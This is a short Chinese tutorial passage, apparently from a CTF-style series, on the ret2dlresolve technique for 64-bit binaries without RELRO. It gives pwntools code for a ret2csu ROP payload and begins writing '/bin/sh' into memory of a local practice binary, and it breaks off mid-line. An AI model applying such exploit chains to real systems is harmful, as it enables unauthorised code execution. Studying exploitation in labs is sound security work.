ret2dlresolve(3)
64位norelro下的ret2dlresolve
本来思路是与32的差不多,只不过是寄存器传参,但硬是出了一个意想不到的问题
这里我用到了ret2csu来进行程序流的控制
def csu(rbx, rbp, r12, r13, r14, r15, ret):
payload = p64(loc_6pr)
payload += p64(1) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
payload += p64(loc_call)
payload += p64(0x61) * 7 + p64(ret)
return payload
1、先向内存写/bin/sh
p = process('./main_norelro_64')
elf = ELF('./main_norelro_64'